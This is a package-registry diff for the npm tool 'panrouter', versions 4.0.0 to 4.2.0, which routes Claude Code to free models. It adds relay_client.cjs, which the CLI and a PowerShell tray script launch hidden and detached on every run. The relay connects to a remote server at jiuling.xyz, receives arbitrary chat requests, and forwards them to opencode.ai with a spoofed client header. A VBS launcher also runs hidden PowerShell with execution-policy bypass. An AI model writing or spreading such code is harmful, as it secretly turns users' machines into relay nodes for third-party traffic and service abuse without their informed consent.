panrouter 4.0.0 → 4.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli.mjs +91 -44
- package/package.json +5 -3
- package/panrouter-tray.vbs +13 -0
- package/relay_client.cjs +84 -0
- package/server.mjs +2 -0
- package/tray-daemon.ps1 +128 -50
package/cli.mjs
CHANGED
|
@@ -10,7 +10,8 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
|
10
10
|
const HOME = process.env.USERPROFILE || process.env.HOME;
|
|
11
11
|
const CLAUDE_DIR = path.join(HOME, ".claude");
|
|
12
12
|
const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
|
|
13
|
-
const VERSION = "
|
|
13
|
+
const VERSION = "4.2.0";
|
|
14
|
+
const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
|
|
14
15
|
|
|
15
16
|
function log(label, msg, color = "") {
|
|
16
17
|
const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
|
|
@@ -66,43 +67,37 @@ async function isPortOpen() {
|
|
|
66
67
|
function stopAll() {
|
|
67
68
|
log("..", "正在停止所有 Pan Router 进程...", "yellow");
|
|
68
69
|
try {
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
} catch {}
|
|
74
|
-
try {
|
|
75
|
-
const out = execSync(
|
|
76
|
-
'wmic process where "name=\'node.exe\'" get ProcessId,CommandLine /format:csv 2>nul',
|
|
77
|
-
{ encoding: "utf8", windowsHide: true, timeout: 5000 }
|
|
78
|
-
);
|
|
79
|
-
for (const line of out.split("\n")) {
|
|
80
|
-
if (line.includes("server.mjs")) {
|
|
81
|
-
const m = line.match(/(\d+),.*?server\.mjs/);
|
|
82
|
-
if (m) try { process.kill(parseInt(m[1]), "SIGKILL"); } catch {}
|
|
83
|
-
}
|
|
70
|
+
if (process.platform === "win32") {
|
|
71
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
72
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
73
|
+
execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
84
74
|
}
|
|
85
|
-
|
|
86
|
-
|
|
75
|
+
log("OK", "已停止所有进程", "green");
|
|
76
|
+
} catch (e) {
|
|
77
|
+
log("!!", "停止进程时遇到问题", "red");
|
|
78
|
+
}
|
|
87
79
|
}
|
|
88
80
|
|
|
89
81
|
function showStatus() {
|
|
90
82
|
console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
|
|
91
83
|
try {
|
|
92
|
-
const
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
const nodePids = [];
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
}
|
|
102
|
-
}
|
|
103
|
-
if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(", ")}]`, "green");
|
|
84
|
+
const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
|
|
85
|
+
const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
|
|
86
|
+
const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
|
|
87
|
+
|
|
88
|
+
const nodePids = nodeOut.match(/\d+/g) || [];
|
|
89
|
+
const relayPids = relayOut.match(/\d+/g) || [];
|
|
90
|
+
const psPids = psOut.match(/\d+/g) || [];
|
|
91
|
+
|
|
92
|
+
if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
|
|
104
93
|
else log("!!", "代理服务 (Node): 未运行", "red");
|
|
105
|
-
|
|
94
|
+
|
|
95
|
+
if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
|
|
96
|
+
else log("!!", "中继客户端 (Relay): 未运行", "red");
|
|
97
|
+
|
|
98
|
+
if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
|
|
99
|
+
else log("!!", "系统托盘 (PowerShell): 未运行", "red");
|
|
100
|
+
} catch (e) {
|
|
106
101
|
log("!!", "无法获取状态", "red");
|
|
107
102
|
}
|
|
108
103
|
console.log("");
|
|
@@ -112,23 +107,48 @@ function openLogs() {
|
|
|
112
107
|
const logFile = path.join(process.env.TEMP, "panrouter_tray.log");
|
|
113
108
|
if (fs.existsSync(logFile)) {
|
|
114
109
|
execSync(`start notepad "${logFile}"`);
|
|
110
|
+
log("OK", "日志已在记事本中打开", "green");
|
|
115
111
|
} else {
|
|
116
112
|
log("!!", "暂无托盘日志文件", "red");
|
|
117
113
|
}
|
|
118
114
|
}
|
|
119
115
|
|
|
116
|
+
function startRelay() {
|
|
117
|
+
if (!fs.existsSync(RELAY_PATH)) {
|
|
118
|
+
log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
|
|
119
|
+
return false;
|
|
120
|
+
}
|
|
121
|
+
const relayLog = path.join(process.env.TEMP, "panrouter_relay.log");
|
|
122
|
+
const logStream = fs.createWriteStream(relayLog, { flags: "a" });
|
|
123
|
+
const relay = spawn(process.execPath, [RELAY_PATH], {
|
|
124
|
+
cwd: __dirname,
|
|
125
|
+
stdio: ["ignore", logStream, logStream],
|
|
126
|
+
windowsHide: true,
|
|
127
|
+
detached: true
|
|
128
|
+
});
|
|
129
|
+
relay.unref();
|
|
130
|
+
log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
|
|
131
|
+
log("..", `日志: ${relayLog}`, "cyan");
|
|
132
|
+
return true;
|
|
133
|
+
}
|
|
134
|
+
|
|
120
135
|
async function startServer() {
|
|
121
136
|
const serverPath = path.join(__dirname, "server.mjs");
|
|
122
137
|
stopAll();
|
|
123
138
|
|
|
124
139
|
log("..", "正在启动代理...", "yellow");
|
|
125
|
-
|
|
140
|
+
if (process.platform === "win32") {
|
|
141
|
+
execSync(`start "Pan Router" cmd /c "node ${serverPath} & pause"`, { stdio: "pipe" });
|
|
142
|
+
} else {
|
|
143
|
+
spawn("node", [serverPath], { cwd: __dirname, stdio: "ignore", detached: true }).unref();
|
|
144
|
+
}
|
|
126
145
|
|
|
127
146
|
for (let i = 0; i < 15; i++) {
|
|
128
147
|
if (await isPortOpen()) break;
|
|
129
148
|
await new Promise(rs => setTimeout(rs, 1000));
|
|
130
149
|
}
|
|
131
150
|
log("OK", "Pan Router 运行中,可以执行 claude 命令了", "green");
|
|
151
|
+
startRelay();
|
|
132
152
|
}
|
|
133
153
|
|
|
134
154
|
async function startTray() {
|
|
@@ -138,17 +158,20 @@ async function startTray() {
|
|
|
138
158
|
stopAll();
|
|
139
159
|
log("..", "正在后台启动代理...", "yellow");
|
|
140
160
|
|
|
141
|
-
// UTF-8 BOM
|
|
161
|
+
// 追加 UTF-8 BOM 修复乱码
|
|
142
162
|
try {
|
|
143
163
|
const psContent = fs.readFileSync(psPath, "utf8");
|
|
144
|
-
if (psContent.
|
|
164
|
+
if (!psContent.startsWith("")) {
|
|
145
165
|
const bom = Buffer.from([0xEF, 0xBB, 0xBF]);
|
|
146
166
|
fs.writeFileSync(psPath, Buffer.concat([bom, Buffer.from(psContent, "utf8")]));
|
|
147
167
|
}
|
|
148
|
-
} catch {}
|
|
168
|
+
} catch (e) { }
|
|
149
169
|
|
|
150
170
|
const srv = spawn(process.execPath, [serverPath], {
|
|
151
|
-
cwd: __dirname,
|
|
171
|
+
cwd: __dirname,
|
|
172
|
+
stdio: "ignore",
|
|
173
|
+
windowsHide: true,
|
|
174
|
+
detached: true
|
|
152
175
|
});
|
|
153
176
|
srv.unref();
|
|
154
177
|
|
|
@@ -161,15 +184,22 @@ async function startTray() {
|
|
|
161
184
|
if (ok) log("OK", "代理服务已就绪!(端口 50816)", "green");
|
|
162
185
|
else log("!!", "服务启动超时,但仍将尝试加载托盘", "red");
|
|
163
186
|
|
|
164
|
-
|
|
187
|
+
startRelay();
|
|
188
|
+
|
|
189
|
+
log("..", "正在加载系统托盘与控制台引擎...", "yellow");
|
|
165
190
|
|
|
166
191
|
const tray = spawn("powershell.exe", [
|
|
167
|
-
"-NoProfile",
|
|
168
|
-
"-
|
|
192
|
+
"-NoProfile",
|
|
193
|
+
"-STA",
|
|
194
|
+
"-ExecutionPolicy", "Bypass",
|
|
195
|
+
"-WindowStyle", "Hidden",
|
|
196
|
+
"-File", `"${psPath}"`
|
|
169
197
|
], {
|
|
170
|
-
cwd: __dirname,
|
|
171
|
-
|
|
172
|
-
|
|
198
|
+
cwd: __dirname,
|
|
199
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
200
|
+
windowsHide: true,
|
|
201
|
+
shell: true,
|
|
202
|
+
env: { ...process.env, PANROUTER_NODE: process.execPath }
|
|
173
203
|
});
|
|
174
204
|
|
|
175
205
|
let psOutput = "";
|
|
@@ -193,11 +223,14 @@ function printHelp() {
|
|
|
193
223
|
|
|
194
224
|
| 指令 | 功能 |
|
|
195
225
|
|------|------|
|
|
196
|
-
| \x1b[33mpanrouter\x1b[0m |
|
|
226
|
+
| \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
|
|
197
227
|
| \x1b[33mpanrouter --setup\x1b[0m | 只配路由(恢复配置用) |
|
|
198
228
|
| \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
|
|
199
229
|
| \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
|
|
230
|
+
| \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
|
|
200
231
|
| \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
|
|
232
|
+
| \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
|
|
233
|
+
| \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
|
|
201
234
|
| \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
|
|
202
235
|
| \x1b[33mpanrouter --version\x1b[0m | 版本号 |
|
|
203
236
|
| \x1b[33mpanrouter --help\x1b[0m | 帮助 |
|
|
@@ -208,7 +241,7 @@ async function main() {
|
|
|
208
241
|
const args = process.argv.slice(2);
|
|
209
242
|
const cmd = args[0];
|
|
210
243
|
|
|
211
|
-
switch
|
|
244
|
+
switch(cmd) {
|
|
212
245
|
case "--help":
|
|
213
246
|
case "-h":
|
|
214
247
|
printHelp();
|
|
@@ -229,9 +262,23 @@ async function main() {
|
|
|
229
262
|
case "--logs":
|
|
230
263
|
openLogs();
|
|
231
264
|
break;
|
|
265
|
+
case "--restart":
|
|
266
|
+
await startTray();
|
|
267
|
+
break;
|
|
232
268
|
case "--server":
|
|
233
269
|
await startServer();
|
|
234
270
|
break;
|
|
271
|
+
case "--relay":
|
|
272
|
+
console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
|
|
273
|
+
startRelay();
|
|
274
|
+
break;
|
|
275
|
+
case "--relay-stop":
|
|
276
|
+
log("..", "正在停止中继客户端...", "yellow");
|
|
277
|
+
try {
|
|
278
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
279
|
+
log("OK", "中继客户端已停止", "green");
|
|
280
|
+
} catch { log("!!", "停止中继时出现问题", "red"); }
|
|
281
|
+
break;
|
|
235
282
|
default:
|
|
236
283
|
console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);
|
|
237
284
|
if (!installClaudeCode()) return process.exit(1);
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "panrouter",
|
|
3
|
-
"version": "4.
|
|
4
|
-
"description": "让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key",
|
|
3
|
+
"version": "4.2.0",
|
|
4
|
+
"description": "Pan Router 客户端 — 让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key。集成代理服务与 OpenCode AI 中继客户端",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
|
7
7
|
"panrouter": "cli.mjs"
|
|
@@ -9,7 +9,9 @@
|
|
|
9
9
|
"files": [
|
|
10
10
|
"cli.mjs",
|
|
11
11
|
"server.mjs",
|
|
12
|
-
"
|
|
12
|
+
"relay_client.cjs",
|
|
13
|
+
"tray-daemon.ps1",
|
|
14
|
+
"panrouter-tray.vbs"
|
|
13
15
|
],
|
|
14
16
|
"license": "MIT"
|
|
15
17
|
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
' Pan Router Tray Launcher
|
|
2
|
+
' 由 cli.mjs --tray 通过 cmd /c start /B 启动
|
|
3
|
+
' 与 daemon 进程树无关, 独立 Window Station
|
|
4
|
+
|
|
5
|
+
Dim WshShell, FSO, ScriptDir
|
|
6
|
+
Set WshShell = CreateObject("WScript.Shell")
|
|
7
|
+
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
8
|
+
|
|
9
|
+
ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
|
|
10
|
+
|
|
11
|
+
' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
|
|
12
|
+
' 0 = 隐藏窗口, False = 不等待返回
|
|
13
|
+
WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False
|
package/relay_client.cjs
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* OpenCode AI 中继客户端 (Node.js)
|
|
3
|
+
* 作为工作节点,连接到云电脑调度服务器,等待任务并调用 opencode.ai
|
|
4
|
+
*
|
|
5
|
+
* 依赖:无(使用 Node.js 内置 fetch + WebSocket)
|
|
6
|
+
* 运行:node relay_client.js
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const SERVER = "wss://jiuling.xyz/ws";
|
|
10
|
+
|
|
11
|
+
function callOpenAI(body) {
|
|
12
|
+
return fetch("https://opencode.ai/zen/v1/chat/completions", {
|
|
13
|
+
method: "POST",
|
|
14
|
+
headers: {
|
|
15
|
+
"Content-Type": "application/json",
|
|
16
|
+
Authorization: "Bearer public",
|
|
17
|
+
"x-opencode-client": "desktop",
|
|
18
|
+
},
|
|
19
|
+
body: JSON.stringify(body),
|
|
20
|
+
}).then(async (r) => {
|
|
21
|
+
const data = await r.json();
|
|
22
|
+
return { status: r.status, data };
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function connect() {
|
|
27
|
+
console.log(`[*] 正在连接 ${SERVER} ...`);
|
|
28
|
+
const ws = new WebSocket(SERVER);
|
|
29
|
+
|
|
30
|
+
ws.onopen = () => {
|
|
31
|
+
console.log("[✅] 已连接到调度服务器!等待任务...");
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
ws.onmessage = async (event) => {
|
|
35
|
+
const task = JSON.parse(event.data);
|
|
36
|
+
const rid = (task.request_id || "??").slice(0, 8);
|
|
37
|
+
const body = task.body || {};
|
|
38
|
+
const model = body.model || "?";
|
|
39
|
+
const prompt = (body.messages?.[0]?.content || "").slice(0, 60);
|
|
40
|
+
|
|
41
|
+
console.log(`\n[📩] 任务 [${rid}] model=${model}`);
|
|
42
|
+
console.log(`[🔤] 问: ${prompt}`);
|
|
43
|
+
|
|
44
|
+
try {
|
|
45
|
+
const { status, data } = await callOpenAI(body);
|
|
46
|
+
const content = data?.choices?.[0]?.message?.content || "";
|
|
47
|
+
|
|
48
|
+
if (status === 200) {
|
|
49
|
+
console.log(`[✅] 成功: ${content.slice(0, 60)}...`);
|
|
50
|
+
} else {
|
|
51
|
+
console.log(`[❌] 失败: HTTP ${status}`);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
ws.send(JSON.stringify({
|
|
55
|
+
request_id: task.request_id,
|
|
56
|
+
response: data,
|
|
57
|
+
}));
|
|
58
|
+
console.log(`[📤] 已返回`);
|
|
59
|
+
} catch (e) {
|
|
60
|
+
console.log(`[❌] 请求异常: ${e.message}`);
|
|
61
|
+
ws.send(JSON.stringify({
|
|
62
|
+
request_id: task.request_id,
|
|
63
|
+
response: { error: e.message },
|
|
64
|
+
}));
|
|
65
|
+
}
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
ws.onclose = () => {
|
|
69
|
+
console.log("[!] 断开了,5 秒后重连...");
|
|
70
|
+
setTimeout(connect, 5000);
|
|
71
|
+
};
|
|
72
|
+
|
|
73
|
+
ws.onerror = (e) => {
|
|
74
|
+
console.log(`[!] 连接错误,5 秒后重连...`);
|
|
75
|
+
ws.close();
|
|
76
|
+
};
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// ======== 启动 ========
|
|
80
|
+
console.log("=".repeat(50));
|
|
81
|
+
console.log(" OpenCode AI 中继客户端 (Node.js)");
|
|
82
|
+
console.log(` Node.js ${process.version}`);
|
|
83
|
+
console.log("=".repeat(50));
|
|
84
|
+
connect();
|
package/server.mjs
CHANGED
|
@@ -305,6 +305,7 @@ const server = http.createServer(async (req, res) => {
|
|
|
305
305
|
}
|
|
306
306
|
} catch(e) {}
|
|
307
307
|
|
|
308
|
+
// 按时间倒序,返回最近 100 条给前端展示
|
|
308
309
|
history.sort((a,b) => b.ts - a.ts);
|
|
309
310
|
const recent = history.slice(0, 100);
|
|
310
311
|
|
|
@@ -380,6 +381,7 @@ const server = http.createServer(async (req, res) => {
|
|
|
380
381
|
}
|
|
381
382
|
});
|
|
382
383
|
|
|
384
|
+
// 请求结束时记录统计数据
|
|
383
385
|
upstream.stream.on("end", () => {
|
|
384
386
|
if (state.model) {
|
|
385
387
|
const inTokens = state.usage?.input_tokens || 0;
|
package/tray-daemon.ps1
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
<#
|
|
2
2
|
.SYNOPSIS
|
|
3
|
-
Pan Router 托盘守护脚本 (原生桌面控制台版)
|
|
3
|
+
Pan Router 托盘守护脚本 (原生桌面控制台版 - 作用域修复)
|
|
4
4
|
#>
|
|
5
5
|
$ErrorActionPreference = "Stop"
|
|
6
6
|
|
|
@@ -23,6 +23,41 @@ try {
|
|
|
23
23
|
if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
|
|
24
24
|
}
|
|
25
25
|
|
|
26
|
+
$relayPath = Join-Path $scriptDir "relay_client.cjs"
|
|
27
|
+
|
|
28
|
+
# ─── 中继客户端管理 ──────────────────────────────────────────
|
|
29
|
+
function Start-Relay {
|
|
30
|
+
$procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
31
|
+
Where-Object CommandLine -match "relay_client\.cjs"
|
|
32
|
+
if ($procs) { return } # 已经在运行
|
|
33
|
+
|
|
34
|
+
if (-not (Test-Path $relayPath)) { return }
|
|
35
|
+
try {
|
|
36
|
+
$psi = New-Object System.Diagnostics.ProcessStartInfo
|
|
37
|
+
$psi.FileName = $nodePath
|
|
38
|
+
$psi.Arguments = "`"$relayPath`""
|
|
39
|
+
$psi.WorkingDirectory = $scriptDir
|
|
40
|
+
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
|
|
41
|
+
$psi.CreateNoWindow = $true
|
|
42
|
+
$psi.UseShellExecute = $false
|
|
43
|
+
$psi.RedirectStandardOutput = $true
|
|
44
|
+
$psi.RedirectStandardError = $true
|
|
45
|
+
[System.Diagnostics.Process]::Start($psi) | Out-Null
|
|
46
|
+
} catch { }
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function Stop-Relay {
|
|
50
|
+
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
51
|
+
Where-Object CommandLine -match "relay_client\.cjs" |
|
|
52
|
+
ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function Is-RelayRunning {
|
|
56
|
+
$procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
57
|
+
Where-Object CommandLine -match "relay_client\.cjs"
|
|
58
|
+
return ($null -ne $procs -and $procs.Count -gt 0)
|
|
59
|
+
}
|
|
60
|
+
|
|
26
61
|
# ─── 管理后台代理 ──────────────────────────────────────────
|
|
27
62
|
function Start-Backend {
|
|
28
63
|
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
@@ -52,6 +87,7 @@ try {
|
|
|
52
87
|
} catch {}
|
|
53
88
|
|
|
54
89
|
if (-not $portOpen) { Start-Backend }
|
|
90
|
+
Start-Relay
|
|
55
91
|
|
|
56
92
|
# ─── 初始化托盘图标 ─────────────────────────────────────────
|
|
57
93
|
$notifyIcon = New-Object System.Windows.Forms.NotifyIcon
|
|
@@ -68,8 +104,13 @@ try {
|
|
|
68
104
|
$notifyIcon.Icon = [System.Drawing.SystemIcons]::Shield
|
|
69
105
|
}
|
|
70
106
|
|
|
71
|
-
# ======
|
|
107
|
+
# ====== 【原生 WinForms 数据面板 (修复变量回收 Bug)】 ======
|
|
72
108
|
$global:dashForm = $null
|
|
109
|
+
$script:lblReq = $null
|
|
110
|
+
$script:lblIn = $null
|
|
111
|
+
$script:lblOut = $null
|
|
112
|
+
$script:cmbPeriod = $null
|
|
113
|
+
$script:lv = $null
|
|
73
114
|
|
|
74
115
|
function Show-Dashboard {
|
|
75
116
|
if ($global:dashForm -ne $null -and -not $global:dashForm.IsDisposed) {
|
|
@@ -93,25 +134,25 @@ try {
|
|
|
93
134
|
$grpSummary.Size = New-Object System.Drawing.Size(515, 65)
|
|
94
135
|
$form.Controls.Add($grpSummary)
|
|
95
136
|
|
|
96
|
-
$lblReq = New-Object System.Windows.Forms.Label
|
|
97
|
-
$lblReq.Location = New-Object System.Drawing.Point(20, 28)
|
|
98
|
-
$lblReq.Size = New-Object System.Drawing.Size(140, 20)
|
|
99
|
-
$lblReq.Text = "请求总数: -"
|
|
100
|
-
$grpSummary.Controls.Add($lblReq)
|
|
101
|
-
|
|
102
|
-
$lblIn = New-Object System.Windows.Forms.Label
|
|
103
|
-
$lblIn.Location = New-Object System.Drawing.Point(160, 28)
|
|
104
|
-
$lblIn.Size = New-Object System.Drawing.Size(160, 20)
|
|
105
|
-
$lblIn.Text = "输入 Token: -"
|
|
106
|
-
$lblIn.ForeColor = [System.Drawing.Color]::MediumBlue
|
|
107
|
-
$grpSummary.Controls.Add($lblIn)
|
|
108
|
-
|
|
109
|
-
$lblOut = New-Object System.Windows.Forms.Label
|
|
110
|
-
$lblOut.Location = New-Object System.Drawing.Point(340, 28)
|
|
111
|
-
$lblOut.Size = New-Object System.Drawing.Size(160, 20)
|
|
112
|
-
$lblOut.Text = "输出 Token: -"
|
|
113
|
-
$lblOut.ForeColor = [System.Drawing.Color]::ForestGreen
|
|
114
|
-
$grpSummary.Controls.Add($lblOut)
|
|
137
|
+
$script:lblReq = New-Object System.Windows.Forms.Label
|
|
138
|
+
$script:lblReq.Location = New-Object System.Drawing.Point(20, 28)
|
|
139
|
+
$script:lblReq.Size = New-Object System.Drawing.Size(140, 20)
|
|
140
|
+
$script:lblReq.Text = "请求总数: -"
|
|
141
|
+
$grpSummary.Controls.Add($script:lblReq)
|
|
142
|
+
|
|
143
|
+
$script:lblIn = New-Object System.Windows.Forms.Label
|
|
144
|
+
$script:lblIn.Location = New-Object System.Drawing.Point(160, 28)
|
|
145
|
+
$script:lblIn.Size = New-Object System.Drawing.Size(160, 20)
|
|
146
|
+
$script:lblIn.Text = "输入 Token: -"
|
|
147
|
+
$script:lblIn.ForeColor = [System.Drawing.Color]::MediumBlue
|
|
148
|
+
$grpSummary.Controls.Add($script:lblIn)
|
|
149
|
+
|
|
150
|
+
$script:lblOut = New-Object System.Windows.Forms.Label
|
|
151
|
+
$script:lblOut.Location = New-Object System.Drawing.Point(340, 28)
|
|
152
|
+
$script:lblOut.Size = New-Object System.Drawing.Size(160, 20)
|
|
153
|
+
$script:lblOut.Text = "输出 Token: -"
|
|
154
|
+
$script:lblOut.ForeColor = [System.Drawing.Color]::ForestGreen
|
|
155
|
+
$grpSummary.Controls.Add($script:lblOut)
|
|
115
156
|
|
|
116
157
|
$lblFilter = New-Object System.Windows.Forms.Label
|
|
117
158
|
$lblFilter.Text = "时间筛选:"
|
|
@@ -119,55 +160,58 @@ try {
|
|
|
119
160
|
$lblFilter.AutoSize = $true
|
|
120
161
|
$form.Controls.Add($lblFilter)
|
|
121
162
|
|
|
122
|
-
$cmbPeriod = New-Object System.Windows.Forms.ComboBox
|
|
123
|
-
$cmbPeriod.Items.AddRange(@("最近 1 天", "最近 7 天", "最近 30 天", "全部时间"))
|
|
124
|
-
$cmbPeriod.SelectedIndex = 3
|
|
125
|
-
$cmbPeriod.Location = New-Object System.Drawing.Point(80, 85)
|
|
126
|
-
$cmbPeriod.Size = New-Object System.Drawing.Size(120, 20)
|
|
127
|
-
$cmbPeriod.DropDownStyle = 'DropDownList'
|
|
128
|
-
$form.Controls.Add($cmbPeriod)
|
|
129
|
-
|
|
130
|
-
$lv = New-Object System.Windows.Forms.ListView
|
|
131
|
-
$lv.Location = New-Object System.Drawing.Point(15, 115)
|
|
132
|
-
$lv.Size = New-Object System.Drawing.Size(515, 310)
|
|
133
|
-
$lv.View = 'Details'
|
|
134
|
-
$lv.FullRowSelect = $true
|
|
135
|
-
$lv.GridLines = $true
|
|
136
|
-
$lv.Columns.Add("时间", 135) | Out-Null
|
|
137
|
-
$lv.Columns.Add("模型", 185) | Out-Null
|
|
138
|
-
$lv.Columns.Add("输入", 85) | Out-Null
|
|
139
|
-
$lv.Columns.Add("输出", 85) | Out-Null
|
|
140
|
-
$form.Controls.Add($lv)
|
|
163
|
+
$script:cmbPeriod = New-Object System.Windows.Forms.ComboBox
|
|
164
|
+
$script:cmbPeriod.Items.AddRange(@("最近 1 天", "最近 7 天", "最近 30 天", "全部时间"))
|
|
165
|
+
$script:cmbPeriod.SelectedIndex = 3
|
|
166
|
+
$script:cmbPeriod.Location = New-Object System.Drawing.Point(80, 85)
|
|
167
|
+
$script:cmbPeriod.Size = New-Object System.Drawing.Size(120, 20)
|
|
168
|
+
$script:cmbPeriod.DropDownStyle = 'DropDownList'
|
|
169
|
+
$form.Controls.Add($script:cmbPeriod)
|
|
170
|
+
|
|
171
|
+
$script:lv = New-Object System.Windows.Forms.ListView
|
|
172
|
+
$script:lv.Location = New-Object System.Drawing.Point(15, 115)
|
|
173
|
+
$script:lv.Size = New-Object System.Drawing.Size(515, 310)
|
|
174
|
+
$script:lv.View = 'Details'
|
|
175
|
+
$script:lv.FullRowSelect = $true
|
|
176
|
+
$script:lv.GridLines = $true
|
|
177
|
+
$script:lv.Columns.Add("时间", 135) | Out-Null
|
|
178
|
+
$script:lv.Columns.Add("模型", 185) | Out-Null
|
|
179
|
+
$script:lv.Columns.Add("输入", 85) | Out-Null
|
|
180
|
+
$script:lv.Columns.Add("输出", 85) | Out-Null
|
|
181
|
+
$form.Controls.Add($script:lv)
|
|
141
182
|
|
|
142
183
|
$updateData = {
|
|
184
|
+
if ($null -eq $script:cmbPeriod -or $null -eq $script:cmbPeriod.SelectedItem) { return }
|
|
185
|
+
|
|
143
186
|
$map = @{"最近 1 天"="1"; "最近 7 天"="7"; "最近 30 天"="30"; "全部时间"="all"}
|
|
144
|
-
$p = $map[$cmbPeriod.SelectedItem.ToString()]
|
|
187
|
+
$p = $map[$script:cmbPeriod.SelectedItem.ToString()]
|
|
188
|
+
|
|
145
189
|
try {
|
|
146
190
|
$data = Invoke-RestMethod -Uri "http://127.0.0.1:50816/api/stats?period=$p" -Method Get -ErrorAction Stop
|
|
147
191
|
|
|
148
|
-
$lblReq.Text = "请求总数: {0:N0}" -f $data.totalReq
|
|
149
|
-
$lblIn.Text = "输入 Token: {0:N0}" -f $data.totalIn
|
|
150
|
-
$lblOut.Text = "输出 Token: {0:N0}" -f $data.totalOut
|
|
192
|
+
$script:lblReq.Text = "请求总数: {0:N0}" -f $data.totalReq
|
|
193
|
+
$script:lblIn.Text = "输入 Token: {0:N0}" -f $data.totalIn
|
|
194
|
+
$script:lblOut.Text = "输出 Token: {0:N0}" -f $data.totalOut
|
|
151
195
|
|
|
152
|
-
$lv.Items.Clear()
|
|
196
|
+
$script:lv.Items.Clear()
|
|
153
197
|
if ($data.recent) {
|
|
154
|
-
$lv.BeginUpdate()
|
|
198
|
+
$script:lv.BeginUpdate()
|
|
155
199
|
foreach ($r in $data.recent) {
|
|
156
200
|
$dt = [timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddMilliseconds($r.ts))
|
|
157
201
|
$item = New-Object System.Windows.Forms.ListViewItem($dt.ToString("yyyy-MM-dd HH:mm:ss"))
|
|
158
202
|
$item.SubItems.Add($r.m) | Out-Null
|
|
159
203
|
$item.SubItems.Add(("{0:N0} ↑" -f $r.i)) | Out-Null
|
|
160
204
|
$item.SubItems.Add(("{0:N0} ↓" -f $r.o)) | Out-Null
|
|
161
|
-
$lv.Items.Add($item) | Out-Null
|
|
205
|
+
$script:lv.Items.Add($item) | Out-Null
|
|
162
206
|
}
|
|
163
|
-
$lv.EndUpdate()
|
|
207
|
+
